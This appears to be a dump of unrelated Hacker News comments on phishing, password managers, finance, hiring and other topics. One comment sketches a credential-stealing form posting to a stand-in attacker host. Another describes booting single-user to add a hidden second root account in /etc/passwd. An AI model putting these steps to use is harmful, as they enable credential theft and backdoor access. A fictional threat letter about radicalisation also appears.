skysight-inc/HackerNews huggingface dataset:
Hmm that's actually a good point. I was going to suggest they should tie the picture to a browser rather than an account name, so they can only send the cookies to servers behind the login subdomain -- this would protect you from the attacker requesting the image on your behalf.

Of course the problem with that approach is when you're using different browsers, the image will be different every time.

Maybe a solution would be:

- ask user for username only
- set cookie based on username
- show image associated with account
- ask for password

That should theoretically work on every browser and protect against cross-site requests. Of course this method has its own caveats though.

Edit: never mind. I hadn't thought it through. Of course the attacker can send your username through their page and fetch the image then display it. So the only approach I can think of that would work is tying the image to a browser rather than an account.
Dear Government,

We have nothing in common anymore. We're just too different on every level that counts. We've tried to make it work - or rather, I have - but it's no good. You never respond, most of the time you don't even acknowledge me or what I say.

I'm not happy. You're not happy. It's pointless.

I'd leave you if I could, but you won't let me and I don't see that changing. I know you'd harass me, stalk me, spy on me, and treat me like a criminal. Isn't it funny that you'd take notice then. You're nothing but a sociopathic bully, set in your ways, blind to the reality of your actions.

I couldn't leave anyway, there's no where to go - you've seen to that. But I can't keep doing this.

I've begged, pleaded, screamed, and shouted. Nothing works.

As I sit here a perfectly normal, law-abiding, person - wellies on the porch, tea in hand, dog at my feet, plates in the dishwasher - I've come to the only conclusion I can.

People will talk. Most probably won't understand. I'll get tarred with the brush of ignorance and called all sorts of names. As they try to compute the double life I'd led and the lies I'd told they'll only confuse their moral compass further. I'll probably get hurt badly. But it'll all be worth it.

Maybe it's not your fault that you're the way you are but I have no choice now, I have to put me first, I'm sorry.

I going to have to kill you.

________

Disclaimer for security services/LEA/whatnot: this is fiction designed to evoke thought, specifically the dynamics of how extremism comes to be. I am not the character in the above piece, but I am capable of sympathising with him - which is kind of the point. It is categorically not meant with menacing intent or as a threat so you can put your Communications/Terrorism legislation down. Isn't it fucking sad that I have to write that?
The Attack That Could Disrupt The Whole Internet – Computerphile
It's really wonderful to see schools like CMU lead the charge in this area, and I hope industry gives them the support encourage them to keep pushing forward. Programs like these will always be criticized as being "affirmative action" but I think in the long run, industries are better for them. Industry says we have a shortage of programmers, yet are content to maintain their focus on the sorts of people, overwhelmingly men, who started dabbling with it as teenagers. This is supremely short-sighted. It is in the interest of industry to bring people into the talent pipeline who might not have had the inclination, often for social or economic reasons, to spend their teenage years "hacking" but who demonstrate aptitude and could be excellent programmers if trained.
Show HN: Smart cocktail shaker with Arduino and Android
I nearly got my arse blown off in 7/7/2005 and spent the best part of 4 hours stuck on a tube train behind one full of dead people.

I don't support any censorship.

If someone wants to publish this shit, let them. You're a bona fide idiot if you bother with it.

Censorship, brainwashing, media control and years of religious dogma turned them into cowardly bombers to start with.
Yeah, like I said, your sketch was basically right.
I'm not opposed to what Musk is trying to do but how or why are auto dealers a monopoly? Those direct sales laws were originally created to preserve small business.
No. The UK government doesn't get to remove things, it just has an expedited way to get the removal requests in front of Google employees who can remove things.
I used to work at FAST, but left soon after they were acquired by Microsoft. How did you use it?
Seems like it would be less effective if everyone was doing it.
Do you honestly think that a few poor people in the US caused a Global Financial Crisis that took down dozens of banks and sent most of the Western World into a recession?

I would encourage you to read 'The Big Lie' by Barry Ritholtz that completely debunks this nonsense.[1] He even offered a bet of $100,000 to debate anyone in front of a 'jury' about the role of CRA in the crisis (unsurprisingly, he had no takers).[2]

I'll just point out some facts that address your most incorrect assertions, but just about everything you wrote is incorrect or extremely misleading.

This encouraged banking institutions to increase the number of
sub-prime mortgages with the stated goal of increasing home
ownership among lower income communities.

CRA loans looked nothing like sub-prime loans.[3] In 2004, about 3.5% of CRA loans defaulted, while about 18% of subprime loans did, and 25% of broker-placed subprimes did. By 2006, 15% of CRA loans were defaulting, but almost 50% of subprimes were and 40% of broker-placed subprimes were.[4]

Additionally, many subprime defaults originated in prime loans, up to 60% in Massachusetts![5] So these people qualified for Prime mortgages, and then refinanced with Subprimes. They couldn't possibly be CRA loans.

Fannie Mae and Freddie Mac (USG-sponsored entities) to devote
a percentage of their annual budget to securitizing [..]
these sub-prime mortgages.

Fannie and Freddie did securitize many mortgages, yet during the housing bubble, their market share was cut in half by all the private banks running wild with MBS products.[6] They also had proper due diligence and lending standards, so their 'high-risk' loan performance was almost 3x better than private lender subprime performance.[7]

Also, if Fannie and Freddie were at fault, then why did the commercial real estate market, with absolutely no government support, have a much more severe price drop (45% compared to 30% [8])?

Or you could take it from the Financial Crisis Inquiry Commission[9]:

The study found that only 6% of such higher-cost loans
were made to low or moderate-income borrowers or in low
or moderate-income neighborhoods covered by the CRA. The
other 94% of higher-cost loans either were made by CRA-
covered institutions that did not receive CRA credit for
these loans or were made by lenders not covered by the CRA.

I think that's enough for now.

I would love to hear how the Savings and Loan crisis was the fault of the FDIC though, that promises to be entertaining. Especially when the guy who literally wrote the book on the crisis noted that[10];

Deposit insurance was not essential to S&L control frauds.

[1] http://www.washingtonpost.com/business/what-caused-the-finan...

[2] http://www.ritholtz.com/blog/2009/06/100000-cra-challenge/

[3] http://rortybomb.wordpress.com/2009/06/29/what-was-a-subprim...

[4] http://imgur.com/EPY5PyF

[5] http://www.bostonfed.org/economic/wp/wp2007/wp0715.pdf (page 4-5)

[6] http://i.imgur.com/DLHMGyg.png

[7] http://i.imgur.com/AswjnXN.png

[8] http://i.imgur.com/u1zx8Wj.gif

[9] http://www.gpo.gov/fdsys/pkg/GPO-FCIC/pdf/GPO-FCIC.pdf (page 220)

[10] http://en.wikipedia.org/wiki/Savings_and_loan_crisis#cite_no...
I think you mean "moot", not "mute".
<personal opinion based on many conversations> Teachers and administrators think that such changes will lead to lower salaries or outright loss of jobs.</personal opinion>

As someone in the field, I can understand their concerns from a political perspective.

From a political perspective, if technological improvements can provide an education that is comparable to current standards then there will be politicians that argue we can drastically reduce our number of teachers and administrators and save taxpayers a lot of money.

From an educational perspective, even if we were to implement all of the technological solutions that we could there will still be plenty of need for teachers. Such implementations would change the role of teachers, but not eliminate the need for them. The closest cases of such changes are "flipped classrooms". Knewton has an infographic that covers the basics - http://www.knewton.com/flipped-classroom/
I do think that girls at that age are less likely to be interested in solitary hobbies like programming, as opposed to more social hobbies. That said, I also think this is one of the key distinctions between hacking around as a teenager, and programming as a professional: the latter is a deeply social activity.
Easy Enums in Python
It's kind of like a video game. A really dull, poorly designed game. But if you win, you win big! It got better once I got to some images taken during daylight hours.
It's the latter. I use LastPass too, and there's one particular site where it doesn't autofill, because of autocomplete=off. It's just one site, but incredibly annoying because I use it often multiple times per day (and of course it doesn't allow me to stay logged in either.)
Goodbye Popcorn Time
To me, Google Reader ended up being more of a backend, just because some of the other dedicated readers were so nice. Can't say I've tried Newsblur, but my favorite ended up being Reeder. I don't think that shutdown changed anything for me except switching the backend to Feedly instead...

(maybe I'll try Newsblur...)
How is this outed? They blatantly confessed to violating Google's Webmaster Guidelines?
I doubt they would have to resort to deposit insurance. Those loans have value -- they would either borrow from another bank (one of the central banks, or the Fed) against the value of those loans, or sell the loans.

Now this is another interesting thing -- the market value of the bank selling a loan fluctuates inversely with interest. If they have a loan that a customer is paying 8% on, then that loan has a market value much higher if current rates are 3%, and much lower if current rates are 12% (assuming the risk of the loan doesn't change -- that also affects its market value).
Right, this isn't what autocomplete=off is for. It's for fields where correcting the user's input to dictionary words is of negative utility, for example, typing stock tickers should not correct "aapl" to "apple".
Sorry, but which of the two points in the ‘pro’ section (storing truly sensitive visible information and hacking of client-site databases) makes a browser less capable of acting as a password manager than a ‘real’ password manager?

Or maybe you could rephrase why you think browsers are terrible password managers? I’m quite fond of Opera’s Wand.
IMO, ExtJS is the only framework that's truly MVC. Everything else is just MV..whatever.

I wrote a blog post a while back talking about how everyone is over thinking MVC.

http://www.codingupfengshui.io/mvc-in-five-lines

tl;dr You should think more SOLID and less MVC.
> The only thing you get with FREE shipping is a receipt that doesn't include shipping as a line item

In practice, though, it does appear to be more than that. The vast majority of the time, the difference between the total cost if I buy from someplace without free shipping, and the total cost if I buy from Amazon with free shipping, is very close to the amount on the "shipping" line item at the first place.

It is just an illusion, as you say, but they made the illusion so good that I cannot usually tell the difference from reality when I'm comparison shopping for something.
Posting a fun project I recently built that folks here might appreciate. The load cell from a cheap kitchen scale is amplified and sent to an Arduino which communicates to an Android application (through bluetooth or USB). By measuring the weight of ingredients and using the density of liquids, the application can show in real time exactly how much has been added to the shaker. Making a drink is as easy as following the steps on the app--no messing around with measuring stuff by hand.
It sounds like he was worried that in the best case the manager would (perhaps unintentionally) get credit for his killer work and in the worst case the manager would actually hamper his work by trying to control him too much.

It sounds somewhat petty, but I can sympathize because the company I work for is going through a similar transition and I've seen the strains that even a single extra manager can have on communication. If the CTO is the one who approves your raises, and now the CTO's opinion of you is not shaped by you but by reports of you created by an intermediate third-party, a lot of somewhat complex interacting variables just got introduced into the equation.

If you start out at the bottom of a huge company like Google, you get used to that from the beginning. If you join a company with <=25 people and watch it grow, then you can really feel the transition sometimes.
Another maybe-negative use of this strategy, as conveyed to me by a famous professor:

If you give a technical talk and afterwards someone asks a question you don't know how to answer, instead answer a similar question you can answer. Then the audience will think you just misunderstood the question, rather than thinking that you didn't know the answer. This strategy won't work if the questioner is persistent, but usually they aren't.
Not only that, the majority of their links are dead or have no PageRank as if Google already hit them (the inbound links).
well, in medicine we'll soon have personalized/individualized-medicine.

but you can't really have personalized/individualized societies, unless we all isolate ourselves from each other and leave as ascets in caves :)
My favorite is the MS OS/2 2.0 fiasco. Even now I have this wishlist for Satya: http://hal2020.com/2014/03/03/satya-shuffles-his-leadership/...
Nobody is arguing that autocomplete is a threat on par with phishing.
Nice post and interesting information.

And I love the name of the company and your logo. I think the video doesn't quite hit the nail on the head. (The art kind of reminds me of Interstate 76, which I love -- assuming that's the goal, you're not quite there.)
If you hit ctrl+v in keepassx it should "autotype" your password for you, bypassing any paste blocking.
After stop-A dropped you into the monitor, you could boot into single-user mode with

>b -s

and then, at the sh prompt, as the single (super) user, edit password

# ed /etc/passwd

to add in a second root account for yourself. That could be pretty helpful.
Bind xkill to a global hotkey. If it's just fullscreen or screen-grabbing app that crashed, xkill will take care of it.
I'm curious why there isn't redundancy in oxygen supplies? Under such conditions would the crew at least be aware enough to know the oxygen tank they are drawing from is faulty and that they need to switch to the backup tank.
Dont you think the NSA already has a contigency to something like this? If anything thinking big should be what we are doing, because those people are planning something huge and i dont think they'll let anything get in their way.

Just an opinion!
No Bitcoin option for donations! :(
1) Laravel is a fantastic choice for building web servers if your team is primarily PHP. 2) There is no such thing as locking yourself into the JS platform, because JS has the advantage of being our lingua francua, is a general purpose programming language (servers, clients, and more!) AND is the language with the most momentum TODAY. Not last year, not 20 years ago.
The complaints are generally not about UPS or FedEx. They are about when Amazon thinks the shipping distance is close enough that they can use any service at all to meet the 2-day goal, but the services end up being terrible and unprofessional. Like LazerShip which is just a dude with a car.
I've found something similar with reddit. Posting in a niche subreddit might look like a nonstarter with many posts only receiving a couple upvotes and 0-2 comments, but the actual site visits seem to be a couple hundred times the upvote count (at least for me).

It makes sense to me, in that small subs see something like a trickle of content, and subscribers tend to be pretty into the topic to have sought the specific community out. So you could get a much higher % of the subreddit's total population visiting your site, even if they don't bother to actually upvote it.
My guess would be:

Using something like:<form action="somebadsite.com/script.php">

So the credentials entered get submitted to the form which is sent via POST request to an external server. From there they can do whatever they want with the credentials (perhaps save them to a db) then redirect back to google docs.
I am familiar with UK History, ChuckMcM. There were really ugly periods. That's why I think that if anyone should actively be against terrorism, it's the UK ! And that's why I was surprized by the passivity of the Government with the likes of Abu Hamza in the streets calling for shedding the blood of the "unfaithful".
Surprised no one's used this opportunity to talk about Google's gnubby / FIDO / U2F plans.

Non-phishable two-factor auth token: http://fidoalliance.org/

See presentation: https://docs.google.com/a/google.com/presentation/d/16mB3Npt...
File a case with customer service when a package is late. Youre right that youve paid for two day shipping. And customer supports SOP is to extend your prime term for one month when an item is late.

Besides that do you live in a rural area far from an airport or something? Im wuite surprised that fedex/ups regularly cant reach you in two days.
Eight Years (And Counting) of Cloud Computing
There were 2 women in my class, my first year at CMU. Really helped me to focus on my studies.

Anyway, it's hard to do better. I'm just glad that they are.
Thanks, and if you get a chance to reach out to that guy, please ask him to contact us: team@solvers.io. We'd love to help him.
Despite the fact that your emotional comment began with an argument I didn't make, thanks for providing a bunch of quasi-relevant links :)
I hope someone from Hollywood reads that.
Essential liberties (e.g., USA Bill of Rights, etc.) have to appreciated dogmatically for them to remain intact. As soon as people enter into arguments about the utility and practicality of essential liberties, they begin to appear to validate the concerns of an oppressor.

In other words, if you believe in your freedom, you should fight for it, not try to convince others of the pragmatic values of having it.
In that case, use the one-time backup codes and make sure to refresh them every few logins while you're away. I think they give you eight at a time.
AFAIK, it's not a legitimate login form. It's a attacker-created form that just looks like the login form. The trick is that they used Google Docs to host it on a .google.com server.
Well, I can't comment on what Apple allows or does not allow in terms of TV shows and movies, although it's pretty clear that -- for example -- Apple does not allow porn. The fact is that the deluge of Apps is not duplicated anywhere else -- I read somewhere that a new Flappy Bird clone is released every 24s -- I don't think there are as many TV shows to contend with.

The point is that everyone publishing stuff in a store probably has to deal with censorship etc. at some point. Nintendo famously forced LucasArts to remove a puzzle from a game because the solution involved sticking a hamster in a microwave.
One thing I would really suggest is to get rid of all this conversions between strings and byte arrays, this adds unnecessarily complexity to the code. Convert messages and passwords to byte arrays as soon as you get them, preferably using a Unicode encoding to support foreign languages, and then only work with byte arrays for everything until you finally want to output the encrypted message where you probably want to Base64 encode it. Especially I did not understand why you have these ugly methods in ByteHelpers when you already have Encoding.GetString() and Encoding.GetBytes() and you are using them in some places.
> Leaders should...[choose] the right person for the next management role using predictive analytics to guide their identification of talent.

Such useful advice! We shall immediately assign one of our worker bees to create a predictive analytics system forthwith.
Why Society Is More Unequal Than Ever
It's relevant today because it is Pi Day and Einstein's birthday. That's the hook. The joke is a throwaway.
Another way to deal with X freezing.

Use acpi to set your power button to switch you to console. Just edit your /etc/acpi/power.sh and change it to...

#/bin/sh
/bin/chvt 1

The acpi system is separate from the X/keyboard interface and still works. So this way you can switch to the console even if your keyboard is locked.

Note you can use other keys as well. On my laptop I use my "thinkvantage" key for this. Any key that has an associated acpi event will work.
If you're looking for a fairly extensive pre-compiled database, more so than getting into NLP, check out DBpedia and Freebase.

http://en.wikipedia.org/wiki/DBpedia

http://en.wikipedia.org/wiki/Freebase
Sorry but he is clearly playing down his involvement with tech in the article - oddly to Wired - for exactly the top comment's reasons. I hope it is not a barrier to being a politician. His website is upfront about being an "engineer" and even "entrepreneur" but still mostly generic.

I would love to hear about his experience with the healthcare.gov mess and his thoughts on how to avoid these problems in the future. There are dozens of similar extremely important federal governmant IT project experiencing similar problems.
I used to use Chrome as my second browser, where I'd keep my work gmail account up.

Recently it started to no longer save my password, even with an autocomplete=on plugin installed that works on other sites. That was my catalyst for uninstalling Chrome altogether and moving to Firefox for everything.
Why are Researchers Averse to Risk?
> Where is the contradiction?

You referenced, approvingly I assume, emphasizing "potential" over skill in admissions.

You'd like for it not to unfairly impact boys who've had a genuine interest since a young age. Unfortunately CMU's policy seems to be to disregard all levels of prior experience. They contrast the newer polices with the old, which gave preference to "lots of previous programming experience". (not just a little bit) They target aptitude and "non-academic strengths". (a lot or a little previous experience doesn't fit here). Finally, if you are actually giving weight to experience, explicitly stating "no prior experience required" is a funny way to go about it.

One last thing: a corollary of my edit is that an intervention that changes requirements however they need to be changed, just to get more girls in the door, is inequitable.
Yeah. I personally escaped 5 bombings, and witnessed several shootings. I always missed a bomb by a couple of minutes.

What this does is making you blasé, and you know you're sort of screwd when a bomb explodes and you continue your conversation like nothing happened.
Show HN: 37 second video that explains our new startup Globality
Hitler would also have gotten nowhere if there had not been lots of antisemitism, racism, nationalism and the urge to take revenge for the treaty of Versailles among german people. If Hitler would have been mute, he could still have written "Mein Kampf", he probably would not have done the speeches but could be easily replaced by Göbbels, Himmler or someone else. Contrary to a lot of contemporary documentaries and so an, the danger of national socialism wasn't a single person but the ideology and a society which was all too open for it.
What does their last commit stand for? https://github.com/popcorn-time/popcorn-app/commit/7e4d851bc...
Isn't that the "autocorrect" option?
Brownbook Magazine – Why Freelance Artists Should Stay Far, Far Away